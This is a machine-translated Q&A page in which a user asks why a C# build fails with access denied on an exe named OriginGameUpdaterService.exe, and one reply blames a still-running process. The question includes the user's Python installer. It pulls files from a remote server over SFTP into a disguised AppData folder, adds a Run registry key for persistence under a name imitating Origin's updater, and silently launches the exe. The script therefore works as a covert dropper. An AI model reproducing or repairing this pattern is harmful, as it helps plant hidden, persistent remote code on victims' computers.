C#无法构建项目

时间:2017-05-31 11:03:53

标签: file administrator denied

我的问题非常奇怪,我对它为什么会这样做有一些想法。 因此,当我尝试在Visual C#中第二次运行我的控制台应用程序时,它说

  

无法将文件“obj \ Debug \ OriginGameUpdaterService.exe”复制到“.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe”。访问路径'.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe'被拒绝。

所以,我每次运行时都必须在Build设置中更改构建输出路径。这不是唯一的事情。一旦exe在文件夹中,我就无法删除文件夹和应用程序。当我尝试时,我有一条Windows消息,说我需要Julien-PC / Julien权限来执行此操作(我是Julien会话的管理员)。

真的很奇怪,因为我无法做任何事情......我制作了一个Python脚本,用他的dll将exe安装在一个文件夹中,但由于那个bug而无法正常工作......

(这是我的installation.py脚本)

#!/usr/bin/python
import subprocess;
import paramiko;
import getpass;
import os.path;
import winreg;

print("Connecting to server.");
user = getpass.getuser()
ssh = paramiko.SSHClient();
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.load_system_host_keys();
ssh.connect("********", 22, "*******", "*********");
# ouverture des transferts de fichiers avec le ssh
sftp = ssh.open_sftp();
print("Connexion successed.");

REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

def set_reg(name, value):
    try:
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, 
                                       winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value)
        winreg.CloseKey(registry_key)
        return True
    except WindowsError:
        return False

print("Creating directory.");
path = "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s"
os.makedirs(path, exist_ok=True)

for i in sftp.listdir("/home/dll"):
    print("Downloading " + i);
    sftp.get("/home/dll/" + i, "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/" + i);
set_reg("OriginGameUpdaterService", "\"C:\\Users\\" + user + "\\AppData\\Local\\Origin\\Windows\\Win32X\\Shell\\s\\OriginGameUpdaterService.exe\"");
if(os.path.exists("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/OriginGameUpdaterService.exe")):
    exit(0)

print("Creating startup *.cmd file.");
file = open("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd","w") 
file.write("cd C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s\n")
file.write("start OriginGameUpdaterService.exe")
file.close() 
print("Starting exe");
subprocess.Popen("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);
print("Installation complete.")

如果有人只能帮助我,我知道很难理解我的问题,我很难解释它。 另外一个论坛,我看到有人有类似的问题,他将AssemblyVersion改为2.0。*所以这就是我所做的,它仍然是同样的问题 [assembly: AssemblyVersion("2.0.*")]

1 个答案:

答案 0 :(得分:0)

确保EXE不再运行。有时你认为它已关闭,但它仍在运行。打开任务管理器,查看“详细信息”选项卡。